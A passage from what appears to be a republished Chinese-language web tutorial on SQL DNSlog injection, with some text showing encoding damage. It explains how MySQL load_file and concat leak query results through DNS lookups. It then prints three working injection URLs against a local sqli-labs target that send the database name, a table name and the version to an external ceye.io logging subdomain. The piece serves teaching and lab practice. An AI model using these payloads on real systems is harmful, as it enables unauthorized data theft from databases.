SQL?DNSlog注入實戰(zhàn)
今天繼續(xù)給大家介紹Linux運維相關(guān)知識,本文主要內(nèi)容是SQL DNSlog注入。
免責(zé)聲明:本文所介紹的內(nèi)容僅做學(xué)習(xí)交流使用,嚴(yán)禁利用文中技術(shù)進(jìn)行非法行為,否則造成一切嚴(yán)重后果自負(fù)!再次強(qiáng)調(diào):嚴(yán)禁對未授權(quán)設(shè)備進(jìn)行滲透測試!
一、SQL DNSlog注入簡介SQL Dnslog注入是一種特殊的SQL注入顯示方式,我們都知道,不論是使用基于bool的SQL盲注,還是基于時間的SQL盲注,都有一個問題,即注入的時間比較慢。此外,還有一些非常特殊的應(yīng)用場景,我們可以把我們的payload放到目標(biāo)站點上執(zhí)行,但是目標(biāo)站點沒有明顯的回顯,在這種情況下,我們就可以使用SQL DNSLog注入。DNSlog的SQL注入,指的是使用load_file函數(shù),使得站點訪問時加載我們指定的文件,該函數(shù)支持加載遠(yuǎn)程文件。這樣,我們就可以將load_file()函數(shù)的參數(shù)設(shè)置成我們指定的站點,并且使用concat函數(shù)來執(zhí)行我們想要探測的SQL語句,并且把SQL語句的執(zhí)行結(jié)果作為load_file()函數(shù)訪問站點的一部分,當(dāng)我們發(fā)起DNS請求時,目標(biāo)站點可以通過設(shè)置來記錄這些信息,于是也就得到了SQL語句執(zhí)行的結(jié)果。
二、SQL DNSlog注入實戰(zhàn)想要實現(xiàn)DNSLog注入,那么我們就必須先擁有一個能夠正常進(jìn)行DNS查詢,并且能夠把域名請求記錄下來的服務(wù)器,http://ceye.io/就是一個可以實現(xiàn)并記錄DNS域名查詢結(jié)果,并且?guī)椭覀儗崿F(xiàn)DNSLog注入的網(wǎng)站。
我們在注冊該站點后,該站點會給予我們一個子域名,如下圖紅線所示:
我們只要發(fā)起對該子域名下的次級子域名的DNS訪問請求,就可以借此被該站點記錄,并且顯示給我們?;诖耍覀兛梢詫崿F(xiàn)DNSLog注入了。我們使用sqli_lab作為靶場,該靶場原始網(wǎng)頁如下所示:
http://192.168.136.2/sqli/Less-1/?id=1
首先,我們可以構(gòu)造DNSLog注入的payload,
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select database()),'.ubhdz9.ceye.io\\abc'))--+
在上述payload中,我們把select database()語句嵌入到了load_file()函數(shù)中,使其作為load_file()函數(shù)的一部分,使得該站點啟用DNS查詢。同理,我們可以構(gòu)造其他形式的payload,例如查詢數(shù)據(jù)庫表名的payload:
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),%27.ubhdz9.ceye.io\\abc'))--+
以及查詢數(shù)據(jù)庫版本的payload:
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select version()),'.ubhdz9.ceye.io\\abc'))--+
上述payload執(zhí)行結(jié)果如下圖所示:
從上圖可以看出,我們的SQL DNSLog注入成功!
到此這篇關(guān)于SQL DNSlog注入詳解的文章就介紹到這了,更多相關(guān)SQL DNSlog注入內(nèi)容請搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持好吧啦網(wǎng)!
